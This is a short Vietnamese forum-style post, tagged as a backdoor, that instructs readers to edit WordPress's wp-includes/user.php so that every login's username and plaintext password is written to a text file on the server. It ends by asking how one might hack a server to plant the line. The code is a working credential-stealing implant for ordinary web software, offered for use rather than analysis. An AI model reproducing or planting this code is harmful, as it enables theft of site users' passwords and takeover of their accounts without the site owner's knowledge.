Lưu mật khẩu WordPress vào txt

[backdoor]

Mở /wp-includes/user.php và lưu đoạn mã sau:

if ( is_wp_error($user) ) {
if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
$user = new WP_Error('', '');
}
return $user;
}
wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);

và có thể thay đổi ở dòng 90 để đặt tên cho tập tin txt

@file_put_contents('wp-includes/logfile.txt', $credentials['user_login'] . ':' . $credentials['user_password']);

 

Làm sao mà hack server và thêm dòng này vao code bạn nhi?